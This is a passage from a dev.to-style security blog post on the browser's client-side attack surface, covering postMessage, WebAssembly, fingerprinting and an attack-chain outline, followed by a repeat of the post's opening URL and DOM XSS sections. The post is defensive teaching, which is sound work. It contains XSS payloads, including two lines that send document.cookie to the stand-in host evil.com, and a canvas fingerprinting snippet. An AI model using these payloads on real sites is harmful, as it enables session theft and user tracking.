&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://app.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;postMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;*&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Receiver: broadcasting to any origin&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Vulnerable: * target origin&lt;/span&gt;
&lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;postMessage&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;authToken&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;*&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Any frame can catch this&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the page is framed by an attacker's page, the &lt;code&gt;*&lt;/code&gt; wildcard means the attacker receives the auth token.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Always validate origin&lt;/span&gt;
&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;message&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://trusted-partner.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="c1"&gt;// Now safe to process&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// Always specify target origin when sending&lt;/span&gt;
&lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;postMessage&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;authToken&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://trusted-parent.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  18. WebAssembly — The Obfuscation Layer
&lt;/h2&gt;

&lt;p&gt;WebAssembly (WASM) runs compiled binary code in the browser at near-native speed. It's designed for performance. Attackers use it for obfuscation and to evade JS-based security tools.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Threats
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Cryptomining&lt;/strong&gt;&lt;br&gt;
CoinHive and its successors shipped as WASM modules. JS-based CSP can't block WASM execution if the WASM file is allowed by &lt;code&gt;script-src&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Obfuscated Malware&lt;/strong&gt;&lt;br&gt;
WASM binaries are opaque to most content scanners, WAFs, and browser DevTools at first glance. A malicious WASM module can perform:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Side-channel attacks (Spectre implementations are easier in WASM)&lt;/li&gt;
&lt;li&gt;Cryptographic operations for C2 communication&lt;/li&gt;
&lt;li&gt;Deobfuscation of encrypted payloads&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Sandbox Escape Research&lt;/strong&gt;&lt;br&gt;
WASM JIT bugs have been a source of browser exploitation. The JIT compiler for WASM is a complex attack surface with a history of critical vulnerabilities.&lt;/p&gt;
&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;CSP &lt;code&gt;script-src&lt;/code&gt; with &lt;code&gt;'wasm-unsafe-eval'&lt;/code&gt; controls WASM instantiation&lt;/li&gt;
&lt;li&gt;Consider &lt;code&gt;Cross-Origin-Embedder-Policy: require-corp&lt;/code&gt; — required for &lt;code&gt;SharedArrayBuffer&lt;/code&gt;, which WASM side-channel attacks often rely on&lt;/li&gt;
&lt;li&gt;Monitor for unexpected WASM file loads via CSP reporting&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  19. Browser APIs — The Fingerprinting &amp;amp; Leakage Layer
&lt;/h2&gt;

&lt;p&gt;Every browser API that exists to help legitimate developers also helps attackers profile, track, and identify users.&lt;/p&gt;
&lt;h3&gt;
  
  
  The Fingerprinting Arsenal
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;API&lt;/th&gt;
&lt;th&gt;What It Leaks&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;navigator.userAgent&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;OS, browser, version&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;screen.width/height/colorDepth&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Display configuration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;navigator.hardwareConcurrency&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;CPU core count&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;navigator.deviceMemory&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;RAM (rounded)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;WebGL&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;GPU vendor and renderer string&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AudioContext&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Hardware-specific audio processing signature&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;Canvas&lt;/code&gt; API&lt;/td&gt;
&lt;td&gt;Font rendering, GPU-level pixel differences&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;navigator.plugins&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Installed browser plugins&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Intl.DateTimeFormat&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Timezone and locale&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;performance.now()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;High-res timer (Spectre-adjacent)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Combined, these create a &lt;strong&gt;fingerprint accurate enough to identify 95%+ of users&lt;/strong&gt; even without cookies.&lt;/p&gt;
&lt;h3&gt;
  
  
  The Canvas Fingerprint
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;canvas&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ctx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;2d&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textBaseline&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;top&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;font&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;14px Arial&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fillText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Browser fingerprint 🔒&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fingerprint&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toDataURL&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// Unique per device/GPU&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Every GPU renders this text slightly differently at the sub-pixel level. The resulting data URL is a device fingerprint.&lt;/p&gt;
&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Firefox&lt;/strong&gt;: Enhanced Tracking Protection reduces fingerprinting API precision&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Brave&lt;/strong&gt;: Randomizes canvas, audio, and WebGL outputs per origin&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chrome&lt;/strong&gt;: Privacy Sandbox aims to reduce covert tracking channels&lt;/li&gt;
&lt;li&gt;Permissions Policy can restrict some high-precision APIs&lt;/li&gt;
&lt;li&gt;Users can use browser isolation (separate profiles or Tor Browser) for sensitive sessions&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  The Unified Attack Chain
&lt;/h2&gt;

&lt;p&gt;Here's how a sophisticated attacker chains these surfaces in a real attack:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. URL → inject payload via query parameter
2. DOM → XSS in innerHTML sink
3. JavaScript → payload executes
4. Cookies → steal non-HttpOnly session token
5. LocalStorage → dump JWT and API keys
6. postMessage → sniff cross-frame communication
7. Service Worker → register persistent implant
8. WebSocket → open C2 channel that survives page close
9. Browser APIs → fingerprint user for re-identification after cookie clear
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each step uses a different surface. Defense on one layer doesn't protect the next.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Defender's Mindset: Assume Breach, Layer Defense
&lt;/h2&gt;

&lt;p&gt;Every single surface listed in this post has one thing in common: &lt;strong&gt;they're all accessible from JavaScript running on your origin&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;That's the threat model. Not an external attacker breaking through HTTPS. An attacker who is &lt;em&gt;already running code on your page&lt;/em&gt; — via XSS, a compromised dependency, a malicious ad, or a poisoned CDN.&lt;/p&gt;

&lt;p&gt;Your defense framework, in priority order:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. Prevent XSS            → CSP + DOMPurify + Trusted Types
2. Minimize persistence   → HttpOnly + Secure + SameSite cookies; no secrets in localStorage
3. Isolate origins        → CORS + CORP + COOP + COEP
4. Limit API access       → Permissions Policy
5. Detect exfiltration    → CSP report-uri + monitoring
6. Audit dependencies     → SRI + npm audit + lock files
7. Harden extensions      → Allowlist via policy; isolate sensitive browsing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Testing This Yourself
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Quick header audit&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; https://your-site.com | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"Content-Security|COOP|COEP|CORP|Permissions"&lt;/span&gt;

&lt;span class="c"&gt;# DOM XSS scanning&lt;/span&gt;
npx retire &lt;span class="nt"&gt;--js&lt;/span&gt;  &lt;span class="c"&gt;# Check for vulnerable JS libraries&lt;/span&gt;

&lt;span class="c"&gt;# Cookie audit (Chrome DevTools)&lt;/span&gt;
&lt;span class="c"&gt;# Application → Cookies → check HttpOnly, Secure, SameSite columns&lt;/span&gt;

&lt;span class="c"&gt;# postMessage monitoring&lt;/span&gt;
&lt;span class="c"&gt;# DevTools Console:&lt;/span&gt;
window.addEventListener&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'message'&lt;/span&gt;, console.log&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c"&gt;# Service Worker audit&lt;/span&gt;
&lt;span class="c"&gt;# Application → Service Workers → check registered workers&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Tools of the Trade
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://portswigger.net/burp" rel="noopener noreferrer"&gt;Burp Suite&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Full client-side interception &amp;amp; testing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/cure53/DOMPurify" rel="noopener noreferrer"&gt;DOMPurify&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;XSS sanitization library&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://csp-evaluator.withgoogle.com" rel="noopener noreferrer"&gt;CSP Evaluator&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;CSP weakness analysis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://retirejs.github.io/retire.js/" rel="noopener noreferrer"&gt;retire.js&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Vulnerable JS library detection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://browseraudit.com" rel="noopener noreferrer"&gt;Browser Audit&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Browser security configuration checks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.zaproxy.org" rel="noopener noreferrer"&gt;OWASP ZAP&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Open-source web app scanner&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://z0ccc.github.io/extension-fingerprints/" rel="noopener noreferrer"&gt;Extension Fingerprints&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Detect installed extensions&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Final Thought
&lt;/h2&gt;

&lt;p&gt;The browser was built for trust. It executes code from strangers. It stores your passwords. It knows where you are. It sees your screen and hears your voice. It maintains connections to servers you've never visited directly.&lt;/p&gt;

&lt;p&gt;That's not a design flaw — that's what makes the web powerful. But it means that &lt;strong&gt;every feature is dual-use&lt;/strong&gt;. The same API that lets your video conferencing app access your camera can be turned against you by an XSS payload running on that same page.&lt;/p&gt;

&lt;p&gt;The only way to defend it is to understand it the way an attacker does — exhaustively, adversarially, and without comfortable assumptions.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>browser</category>
      <category>devtools</category>
      <category>learning</category>
    </item>
    <item>
      <title>Client-Side Attack Surface: Everything Inside the Browser Is a Weapon</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Sun, 28 Jun 2026 06:40:36 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/client-side-attack-surface-everything-inside-the-browser-is-a-weapon-3l0b</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/client-side-attack-surface-everything-inside-the-browser-is-a-weapon-3l0b</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"The browser isn't just a viewport. It's an operating system. And like every OS, every feature is an attack surface waiting to be discovered."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If Part 1 was about the walls, this is about what's &lt;em&gt;inside&lt;/em&gt; the walls.&lt;/p&gt;

&lt;p&gt;The browser's security model is impressive. But it was never designed to protect against an attacker who's already inside — through a compromised dependency, an XSS payload, a malicious extension, or a supply-chain backdoor. Once that line is crossed, every browser API becomes a potential instrument of attack.&lt;/p&gt;

&lt;p&gt;I'm going to walk you through every node of the browser's client-side surface — not just what it does, but how I've seen each one abused. Think of this as a field guide to the attack surface map every ethical hacker keeps in their head.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Map
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Browser
│
├── URL               ← Entry point for injection &amp;amp; manipulation
├── DOM               ← XSS playground
├── JavaScript        ← The attacker's runtime
├── Cookies           ← Session theft
├── LocalStorage      ← Persistent data theft
├── SessionStorage    ← Tab-scoped secrets
├── IndexedDB         ← Structured data exfiltration
├── Clipboard         ← Data in transit
├── Password Manager  ← Credential harvesting
├── Camera            ← Silent surveillance
├── Microphone        ← Passive interception
├── Geolocation       ← Physical tracking
├── Notifications     ← Phishing vector
├── Downloads         ← Malware delivery
├── Extensions        ← Privileged access abuse
├── Service Workers   ← Persistent browser implants
├── WebSockets        ← Covert channels
├── postMessage       ← Cross-frame exploitation
├── WebAssembly       ← Obfuscated malicious code
└── Browser APIs      ← Fingerprinting &amp;amp; leakage
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's go node by node.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. URL — The First Line of Injection
&lt;/h2&gt;

&lt;p&gt;The URL is user-controlled input. Everything in it — scheme, host, path, query, fragment, even the username:password fields — can be weaponized.&lt;/p&gt;

&lt;h3&gt;
  
  
  Attack Vectors
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Open Redirect&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://app.com/redirect?to=https://evil.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Trusted domain, attacker-controlled destination. Used in phishing flows to borrow legitimacy.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fragment-Based XSS (DOM XSS)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://app.com/#&amp;lt;img src=x onerror=alert(1)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The fragment never reaches the server — it's processed entirely client-side. Server-side WAFs are blind to it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;URL Parameter Injection&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://app.com/search?q=&amp;lt;script&amp;gt;fetch('https://evil.com?c='+document.cookie)&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the query parameter is reflected in the DOM without sanitization, game over.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Protocol Confusion&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;javascript:alert(1)  // In href attributes
data:text/html,...   // Content injection
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Validate and allowlist redirect destinations server-side&lt;/li&gt;
&lt;li&gt;Never use &lt;code&gt;location.hash&lt;/code&gt; or &lt;code&gt;URLSearchParams&lt;/code&gt; to set &lt;code&gt;innerHTML&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;encodeURIComponent()&lt;/code&gt; for all URL parameter values&lt;/li&gt;
&lt;li&gt;CSP &lt;code&gt;navigate-to&lt;/code&gt; directive limits navigation targets&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  2. DOM — The Battlefield
&lt;/h2&gt;

&lt;p&gt;The Document Object Model is the live representation of everything on the page. It's also where XSS lives.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Sink Problem
&lt;/h3&gt;

&lt;p&gt;DOM XSS occurs when &lt;strong&gt;attacker-controlled data flows into a dangerous sink&lt;/strong&gt; without sanitization:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dangerous Sinks&lt;/th&gt;
&lt;th&gt;What They Do&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;innerHTML&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Parses HTML, executes event handlers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;outerHTML&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Replaces element with arbitrary HTML&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;document.write()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Injects raw HTML into document&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;eval()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Executes string as JavaScript&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;setTimeout(string)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deferred eval&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;location.href = input&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Navigation injection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;src&lt;/code&gt; on &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Remote script load&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  The Flow
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Source: attacker-controlled&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URLSearchParams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Sink: dangerous DOM write&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#greeting&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Hello, &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Payload: ?name=&amp;lt;img src=x onerror=fetch('https://evil.com?c='+document.cookie)&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Mutation XSS (mXSS)
&lt;/h3&gt;

&lt;p&gt;Sanitizers can be bypassed by crafting HTML that is &lt;em&gt;safe&lt;/em&gt; when parsed, but &lt;em&gt;becomes dangerous&lt;/em&gt; after the browser re-serializes it through the DOM. The browser's HTML parser is a source of truth no sanitizer perfectly emulates.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Input, looks safe --&amp;gt;&lt;/span&gt;
